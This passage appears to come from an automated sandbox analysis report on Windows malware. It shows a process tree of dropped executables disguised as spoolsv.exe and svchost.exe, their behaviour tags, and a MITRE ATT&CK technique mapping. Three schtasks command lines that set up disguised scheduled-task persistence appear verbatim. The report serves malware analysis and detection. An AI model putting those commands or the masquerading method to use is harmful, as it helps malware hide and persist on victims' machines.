    - Loads dropped DLL
    - Adds Run key to start application
    - Drops file in System32 directory
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2860
  - - \??\c:\windows\resources\spoolsv.exe
      c:\windows\resources\spoolsv.exe SE
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2564
    - - \??\c:\windows\resources\svchost.exe
        
        c:\windows\resources\svchost.exe
        5⤵
        Modifies visiblity of hidden/system files in Explorer
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2980
      - \??\c:\windows\resources\spoolsv.exe
        
        c:\windows\resources\spoolsv.exe PR
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:1448
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "svchost" /tr "c:\windows\resources\svchost.exe" /sc daily /st 19:41 /f
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:684
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "svchost" /tr "c:\windows\resources\svchost.exe" /sc daily /st 19:42 /f
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:916
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "svchost" /tr "c:\windows\resources\svchost.exe" /sc daily /st 19:43 /f
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2676
  - - C:\Windows\Explorer.exe
      C:\Windows\Explorer.exe
      4⤵
      PID:328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry